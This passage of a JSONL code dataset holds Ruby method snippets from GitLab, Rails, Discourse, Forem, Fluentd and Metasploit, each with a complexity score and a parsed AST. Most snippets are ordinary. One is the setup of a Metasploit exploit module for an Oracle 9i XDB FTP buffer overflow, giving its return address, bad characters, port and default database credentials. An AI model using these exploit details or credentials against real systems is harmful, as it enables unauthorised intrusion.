lvar\",\"children\":[\"select\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"timestamps\"]},{\"type\":\"lvar\",\"children\":[\"timestamps\"]}]}]},\"compact_blank\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"query_params\"]},\"any?\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"send\",{\"type\":\"lvar\",\"children\":[\"path\"]}]}]},{\"type\":\"str\",\"children\":[\"?\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"query_params\"]},\"to_query\"]}]}]},{\"type\":\"send\",\"children\":[null,\"send\",{\"type\":\"lvar\",\"children\":[\"path\"]}]}]}]}]}","id":"5016b0dd-32ba-469c-b3e7-6460b12cbe54"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/models/integrations/jira.rb","start_line":664,"raw_source":"def build_remote_link_props(url:, title:, resolved: false)\n      status = {\n        resolved: resolved\n      }\n\n      {\n        GlobalID: 'GitLab',\n        relationship: 'mentioned on',\n        object: {\n          url: url,\n          title: title,\n          status: status,\n          icon: {\n            title: 'GitLab', url16x16: asset_url(Gitlab::Favicon.main, host: gitlab_config.base_url)\n          }\n        }\n      }\n    end","complexity_score":5.8,"ast_json":"{\"type\":\"def\",\"children\":[\"build_remote_link_props\",{\"type\":\"args\",\"children\":[{\"type\":\"kwarg\",\"children\":[\"url\"]},{\"type\":\"kwarg\",\"children\":[\"title\"]},{\"type\":\"kwoptarg\",\"children\":[\"resolved\",{\"type\":\"false\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"status\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"resolved\"]},{\"type\":\"lvar\",\"children\":[\"resolved\"]}]}]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"GlobalID\"]},{\"type\":\"str\",\"children\":[\"GitLab\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"relationship\"]},{\"type\":\"str\",\"children\":[\"mentioned on\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"object\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"url\"]},{\"type\":\"lvar\",\"children\":[\"url\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"title\"]},{\"type\":\"lvar\",\"children\":[\"title\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"status\"]},{\"type\":\"lvar\",\"children\":[\"status\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"icon\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"title\"]},{\"type\":\"str\",\"children\":[\"GitLab\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"url16x16\"]},{\"type\":\"send\",\"children\":[null,\"asset_url\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gitlab\"]},\"Favicon\"]},\"main\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"host\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"gitlab_config\"]},\"base_url\"]}]}]}]}]}]}]}]}]}]}]}]}","id":"377cd3cc-44c8-449d-8ae8-e40f493221c1"}
{"repo_name":"rails","file_path":"./repos/rails/railties/lib/rails/generators/rails/app/app_generator.rb","start_line":480,"raw_source":"def create_storage_files\n        build(:storage) unless skip_storage?\n      end","complexity_score":3.1,"ast_json":"{\"type\":\"def\",\"children\":[\"create_storage_files\",{\"type\":\"args\",\"children\":[]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"skip_storage?\"]},null,{\"type\":\"send\",\"children\":[null,\"build\",{\"type\":\"sym\",\"children\":[\"storage\"]}]}]}]}","id":"5b6a232c-e60b-4559-bf9c-cf0acb4cd2c1"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/workers/concerns/worker_attributes.rb","start_line":220,"raw_source":"def get_concurrency_limit\n      return 0 if Feature.disabled?(:sidekiq_concurrency_limit_middleware, Feature.current_request, type: :ops)\n\n      limit = get_class_attribute(:concurrency_limit)&.call\n      return limit.to_i unless limit.nil?\n\n      unless Feature.enabled?(:use_max_concurrency_limit_percentage_as_default_limit, Feature.current_request)\n        return limit.to_i # limit must be nil now, so cast it to 0\n      end\n\n      calculate_default_limit_from_max_percentage\n    end","complexity_score":14.9,"ast_json":"{\"type\":\"def\",\"children\":[\"get_concurrency_limit\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Feature\"]},\"disabled?\",{\"type\":\"sym\",\"children\":[\"sidekiq_concurrency_limit_middleware\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Feature\"]},\"current_request\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"type\"]},{\"type\":\"sym\",\"children\":[\"ops\"]}]}]}]},{\"type\":\"return\",\"children\":[{\"type\":\"int\",\"children\":[0]}]},null]},{\"type\":\"lvasgn\",\"children\":[\"limit\",{\"type\":\"csend\",\"children\":[{\"type\":\"send\",\"children\":[null,\"get_class_attribute\",{\"type\":\"sym\",\"children\":[\"concurrency_limit\"]}]},\"call\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"limit\"]},\"nil?\"]},null,{\"type\":\"return\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"limit\"]},\"to_i\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Feature\"]},\"enabled?\",{\"type\":\"sym\",\"children\":[\"use_max_concurrency_limit_percentage_as_default_limit\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Feature\"]},\"current_request\"]}]},null,{\"type\":\"return\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"limit\"]},\"to_i\"]}]}]},{\"type\":\"send\",\"children\":[null,\"calculate_default_limit_from_max_percentage\"]}]}]}","id":"6d823ba1-eed0-41cf-9053-b252cc75f911"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/plugins/capture.rb","start_line":16,"raw_source":"def initialize(name, done_event, dispatcher)\n          @name = name\n          @done_event = done_event\n          @dispatcher = dispatcher\n        end","complexity_score":3.0,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"name\"]},{\"type\":\"arg\",\"children\":[\"done_event\"]},{\"type\":\"arg\",\"children\":[\"dispatcher\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@name\",{\"type\":\"lvar\",\"children\":[\"name\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@done_event\",{\"type\":\"lvar\",\"children\":[\"done_event\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@dispatcher\",{\"type\":\"lvar\",\"children\":[\"dispatcher\"]}]}]}]}","id":"a47d8b95-e8fe-4bd7-86dc-55477ff242a1"}
{"repo_name":"forem","file_path":"./repos/forem/app/helpers/billboard_helper.rb","start_line":14,"raw_source":"def single_audience_segment_option(billboard)\n    segment = billboard.audience_segment\n    # This should never happen\n    raise ArgumentError, \"Billboard must have a target audience segment to build option for\" if segment.blank?\n\n    [[AudienceSegment.human_readable_description_for(segment.type_of), segment.id]]\n  end","complexity_score":8.3,"ast_json":"{\"type\":\"def\",\"children\":[\"single_audience_segment_option\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"billboard\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"segment\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"billboard\"]},\"audience_segment\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"segment\"]},\"blank?\"]},{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"const\",\"children\":[null,\"ArgumentError\"]},{\"type\":\"str\",\"children\":[\"Billboard must have a target audience segment to build option for\"]}]},null]},{\"type\":\"array\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"AudienceSegment\"]},\"human_readable_description_for\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"segment\"]},\"type_of\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"segment\"]},\"id\"]}]}]}]}]}","id":"ca1d8982-a9c7-4ee4-b42b-4ba477f40c87"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/services/work_items/parent_links/create_service.rb","start_line":26,"raw_source":"def extract_references\n        params[:issuable_references]\n      end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"extract_references\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"issuable_references\"]}]}]}","id":"29f83656-f16d-4fc7-bf66-442e0b35290c"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/windows/ftp/oracle9i_xdb_ftp_unlock.rb","start_line":12,"raw_source":"def initialize(info = {})\n    super(\n      update_info(\n        info,\n        'Name' => 'Oracle 9i XDB FTP UNLOCK Overflow (win32)',\n        'Description' => %q{\n          By passing an overly long token to the UNLOCK command, a\n          stack based buffer overflow occurs. David Litchfield, has\n          illustrated multiple vulnerabilities in the Oracle 9i XML\n          Database (XDB), during a seminar on \"Variations in exploit\n          methods between Linux and Windows\" presented at the Blackhat\n          conference. Oracle9i includes a number of default accounts,\n          including dbsnmp:dbsmp, scott:tiger, system:manager, and\n          sys:change_on_install.\n        },\n        'Author' => [ 'MC', 'David Litchfield <david[at]ngssoftware.com>' ],\n        'License' => MSF_LICENSE,\n        'Platform' => [ 'win' ],\n        'References' => [\n          [ 'CVE', '2003-0727'],\n          [ 'OSVDB', '2449'],\n          [ 'BID', '8375'],\n          [ 'URL', 'http://www.blackhat.com/presentations/bh-usa-03/bh-us-03-litchfield-paper.pdf'],\n        ],\n        'DefaultOptions' => {\n          'EXITFUNC' => 'thread',\n        },\n        'Privileged' => true,\n        'Payload' => {\n          'Space' => 800,\n          'BadChars' => \"\\x00\\x20\\x0a\\x0d\",\n          'StackAdjustment' => -3500,\n        },\n        'Targets' => [\n          [\n            'Oracle 9.2.0.1 Universal',\n            {\n              'Ret' => 0x60616d46, # oraclient9.dll (pop/pop/ret)\n            },\n          ],\n        ],\n        'DisclosureDate' => '2003-08-18',\n        'DefaultTarget' => 0,\n        'Notes' => {\n          'Reliability' => UNKNOWN_RELIABILITY,\n          'Stability' => UNKNOWN_STABILITY,\n          'SideEffects' => UNKNOWN_SIDE_EFFECTS\n        }\n      )\n    )\n\n    register_options([\n      Opt::RPORT(2100),\n      OptString.new('FTPUSER', [ true, 'The username to authenticate as', 'DBSNMP'], fallbacks: ['USERNAME']),\n      OptString.new('FTPPASS', [ true, 'The password to authenticate with', 'DBSNMP'], fallbacks: ['PASSWORD']),\n    ])\n  end","complexity_score":8.85,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"info\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"super\",\"children\":[{\"type\":\"send\",\"children\":[null,\"update_info\",{\"type\":\"lvar\",\"children\":[\"info\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Name\"]},{\"type\":\"str\",\"children\":[\"Oracle 9i XDB FTP UNLOCK Overflow (win32)\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Description\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"          By passing an overly long token to the UNLOCK command, a\\n\"]},{\"type\":\"str\",\"children\":[\"          stack based buffer overflow occurs. David Litchfield, has\\n\"]},{\"type\":\"str\",\"children\":[\"          illustrated multiple vulnerabilities in the Oracle 9i XML\\n\"]},{\"type\":\"str\",\"children\":[\"          Database (XDB), during a seminar on \\\"Variations in exploit\\n\"]},{\"type\":\"str\",\"children\":[\"          methods between Linux and Windows\\\" presented at the Blackhat\\n\"]},{\"type\":\"str\",\"children\":[\"          conference. Oracle9i includes a number of default accounts,\\n\"]},{\"type\":\"str\",\"children\":[\"          including dbsnmp:dbsmp, scott:tiger, system:manager, and\\n\"]},{\"type\":\"str\",\"children\":[\"          sys:change_on_install.\\n\"]},{\"type\":\"str\",\"children\":[\"        \"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Author\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"MC\"]},{\"type\":\"str\",\"children\":[\"David Litchfield <david[at]ngssoftware.com>\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"License\"]},{\"type\":\"const\",\"children\":[null,\"MSF_LICENSE\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Platform\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"win\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"References\"]},{\"type\":\"array\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"CVE\"]},{\"type\":\"str\",\"children\":[\"2003-0727\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"OSVDB\"]},{\"type\":\"str\",\"children\":[\"2449\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"BID\"]},{\"type\":\"str\",\"children\":[\"8375\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"URL\"]},{\"type\":\"str\",\"children\":[\"http://www.blackhat.com/presentations/bh-usa-03/bh-us-03-litchfield-paper.pdf\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"DefaultOptions\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"EXITFUNC\"]},{\"type\":\"str\",\"children\":[\"thread\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Privileged\"]},{\"type\":\"true\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Payload\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Space\"]},{\"type\":\"int\",\"children\":[800]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"BadChars\"]},{\"type\":\"str\",\"children\":[\"\\u0000 \\n\\r\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"StackAdjustment\"]},{\"type\":\"int\",\"children\":[-3500]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Targets\"]},{\"type\":\"array\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"Oracle 9.2.0.1 Universal\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Ret\"]},{\"type\":\"int\",\"children\":[1616997702]}]}]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"DisclosureDate\"]},{\"type\":\"str\",\"children\":[\"2003-08-18\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"DefaultTarget\"]},{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Notes\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Reliability\"]},{\"type\":\"const\",\"children\":[null,\"UNKNOWN_RELIABILITY\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Stability\"]},{\"type\":\"const\",\"children\":[null,\"UNKNOWN_STABILITY\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"SideEffects\"]},{\"type\":\"const\",\"children\":[null,\"UNKNOWN_SIDE_EFFECTS\"]}]}]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"register_options\",{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Opt\"]},\"RPORT\",{\"type\":\"int\",\"children\":[2100]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OptString\"]},\"new\",{\"type\":\"str\",\"children\":[\"FTPUSER\"]},{\"type\":\"array\",\"children\":[{\"type\":\"true\",\"children\":[]},{\"type\":\"str\",\"children\":[\"The username to authenticate as\"]},{\"type\":\"str\",\"children\":[\"DBSNMP\"]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"fallbacks\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"USERNAME\"]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OptString\"]},\"new\",{\"type\":\"str\",\"children\":[\"FTPPASS\"]},{\"type\":\"array\",\"children\":[{\"type\":\"true\",\"children\":[]},{\"type\":\"str\",\"children\":[\"The password to authenticate with\"]},{\"type\":\"str\",\"children\":[\"DBSNMP\"]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"fallbacks\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"PASSWORD\"]}]}]}]}]}]}]}]}]}","id":"2c34fc50-f811-4bfc-8c89-6c7e94dfd010"}
{"repo_name":"rails","file_path":"./repos/rails/activesupport/test/core_ext/array/extract_test.rb","start_line":18,"raw_source":"def test_extract_without_block\n    numbers = [0, 1, 2, 3, 4, 5, 6, 7, 8, 9]\n    array_id = numbers.object_id\n\n    extract_enumerator = numbers.extract!\n\n    assert_instance_of Enumerator, extract_enumerator\n    assert_equal numbers.size, extract_enumerator.size\n\n    odd_numbers = extract_enumerator.each(&:odd?)\n\n    assert_equal [1, 3, 5, 7, 9], odd_numbers\n    assert_equal [0, 2, 4, 6, 8], numbers\n    assert_equal array_id, numbers.object_id\n  end","complexity_score":21.75,"ast_json":"{\"type\":\"def\",\"children\":[\"test_extract_without_block\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"numbers\",{\"type\":\"array\",\"children\":[{\"type\":\"int\",\"children\":[0]},{\"type\":\"int\",\"children\":[1]},{\"type\":\"int\",\"children\":[2]},{\"type\":\"int\",\"children\":[3]},{\"type\":\"int\",\"children\":[4]},{\"type\":\"int\",\"children\":[5]},{\"type\":\"int\",\"children\":[6]},{\"type\":\"int\",\"children\":[7]},{\"type\":\"int\",\"children\":[8]},{\"type\":\"int\",\"children\":[9]}]}]},{\"type\":\"lvasgn\",\"children\":[\"array_id\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"numbers\"]},\"object_id\"]}]},{\"type\":\"lvasgn\",\"children\":[\"extract_enumerator\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"numbers\"]},\"extract!\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_instance_of\",{\"type\":\"const\",\"children\":[null,\"Enumerator\"]},{\"type\":\"lvar\",\"children\":[\"extract_enumerator\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"numbers\"]},\"size\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"extract_enumerator\"]},\"size\"]}]},{\"type\":\"lvasgn\",\"children\":[\"odd_numbers\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"extract_enumerator\"]},\"each\",{\"type\":\"block_pass\",\"children\":[{\"type\":\"sym\",\"children\":[\"odd?\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"array\",\"children\":[{\"type\":\"int\",\"children\":[1]},{\"type\":\"int\",\"children\":[3]},{\"type\":\"int\",\"children\":[5]},{\"type\":\"int\",\"children\":[7]},{\"type\":\"int\",\"children\":[9]}]},{\"type\":\"lvar\",\"children\":[\"odd_numbers\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"array\",\"children\":[{\"type\":\"int\",\"children\":[0]},{\"type\":\"int\",\"children\":[2]},{\"type\":\"int\",\"children\":[4]},{\"type\":\"int\",\"children\":[6]},{\"type\":\"int\",\"children\":[8]}]},{\"type\":\"lvar\",\"children\":[\"numbers\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"lvar\",\"children\":[\"array_id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"numbers\"]},\"object_id\"]}]}]}]}","id":"27bdeec0-5117-4722-950b-15838b1cb7c2"}
{"repo_name":"rails","file_path":"./repos/rails/activemodel/lib/active_model/attribute_set.rb","start_line":73,"raw_source":"def deep_dup\n      AttributeSet.new(attributes.transform_values(&:dup_or_share))\n    end","complexity_score":5.0,"ast_json":"{\"type\":\"def\",\"children\":[\"deep_dup\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"AttributeSet\"]},\"new\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"attributes\"]},\"transform_values\",{\"type\":\"block_pass\",\"children\":[{\"type\":\"sym\",\"children\":[\"dup_or_share\"]}]}]}]}]}","id":"d6a45b66-9867-422f-bffd-a9fdcec5e9a9"}
{"repo_name":"discourse","file_path":"./repos/discourse/app/models/trust_level3_requirements.rb","start_line":212,"raw_source":"def num_likes_given\n    UserAction\n      .where(user_id: @user.id, action_type: UserAction::LIKE)\n      .where(\"user_actions.created_at > ?\", time_period.days.ago)\n      .joins(:target_topic)\n      .where.not(topics: { archetype: Archetype.private_message })\n      .count\n  end","complexity_score":19.2,"ast_json":"{\"type\":\"def\",\"children\":[\"num_likes_given\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"UserAction\"]},\"where\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"user_id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@user\"]},\"id\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"action_type\"]},{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"UserAction\"]},\"LIKE\"]}]}]}]},\"where\",{\"type\":\"str\",\"children\":[\"user_actions.created_at > ?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"time_period\"]},\"days\"]},\"ago\"]}]},\"joins\",{\"type\":\"sym\",\"children\":[\"target_topic\"]}]},\"where\"]},\"not\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"topics\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"archetype\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Archetype\"]},\"private_message\"]}]}]}]}]}]},\"count\"]}]}","id":"1fce9b97-c464-4016-be8d-124746c0d488"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/helpers/events_helper.rb","start_line":127,"raw_source":"def comments_visible?\n    event_filter_visible(:repository) ||\n      event_filter_visible(:merge_requests) ||\n      event_filter_visible(:issues)\n  end","complexity_score":5.6,"ast_json":"{\"type\":\"def\",\"children\":[\"comments_visible?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"or\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[null,\"event_filter_visible\",{\"type\":\"sym\",\"children\":[\"repository\"]}]},{\"type\":\"send\",\"children\":[null,\"event_filter_visible\",{\"type\":\"sym\",\"children\":[\"merge_requests\"]}]}]},{\"type\":\"send\",\"children\":[null,\"event_filter_visible\",{\"type\":\"sym\",\"children\":[\"issues\"]}]}]}]}","id":"3e66ddec-1f49-487f-9071-3e13d1ed5340"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/scripts/internal_events/cli/flows/metric_definer.rb","start_line":443,"raw_source":"def assign_shared_attr(key)\n        assign_shared_attrs(key) do |metric|\n          { key => yield(metric) }\n        end\n      end","complexity_score":3.1,"ast_json":"{\"type\":\"def\",\"children\":[\"assign_shared_attr\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"key\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"assign_shared_attrs\",{\"type\":\"lvar\",\"children\":[\"key\"]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"metric\"]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"lvar\",\"children\":[\"key\"]},{\"type\":\"yield\",\"children\":[{\"type\":\"lvar\",\"children\":[\"metric\"]}]}]}]}]}]}","id":"6d1d3eba-4513-4bf3-aa71-5ec8176d38ec"}
{"repo_name":"discourse","file_path":"./repos/discourse/lib/search.rb","start_line":1406,"raw_source":"def default_ts_config\n    self.class.default_ts_config\n  end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"default_ts_config\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"class\"]},\"default_ts_config\"]}]}","id":"e7030cdf-7162-4184-9dce-f649972ec2fc"}
{"repo_name":"discourse","file_path":"./repos/discourse/app/serializers/topic_view_details_serializer.rb","start_line":176,"raw_source":"def allowed_users\n    object.topic.allowed_users.reject do |user|\n      object.group_allowed_user_ids.include?(user.id) && user != scope.user\n    end\n  end","complexity_score":17.1,"ast_json":"{\"type\":\"def\",\"children\":[\"allowed_users\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"object\"]},\"topic\"]},\"allowed_users\"]},\"reject\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"user\"]}]},{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"object\"]},\"group_allowed_user_ids\"]},\"include?\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"user\"]},\"id\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"user\"]},\"!=\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"scope\"]},\"user\"]}]}]}]}]}","id":"b7a662af-745b-4460-8225-a920e8c06e11"}
{"repo_name":"fluentd","file_path":"./repos/fluentd/test/test_log.rb","start_line":1027,"raw_source":"def test_event\n      mock(@logger).event(Fluent::Log::LEVEL_TRACE, { key: \"value\" })\n      @log.event(Fluent::Log::LEVEL_TRACE, { key: \"value\" })\n    end","complexity_score":3.2,"ast_json":"{\"type\":\"def\",\"children\":[\"test_event\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"mock\",{\"type\":\"ivar\",\"children\":[\"@logger\"]}]},\"event\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Fluent\"]},\"Log\"]},\"LEVEL_TRACE\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"key\"]},{\"type\":\"str\",\"children\":[\"value\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@log\"]},\"event\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Fluent\"]},\"Log\"]},\"LEVEL_TRACE\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"key\"]},{\"type\":\"str\",\"children\":[\"value\"]}]}]}]}]}]}","id":"63deeae4-ba52-49a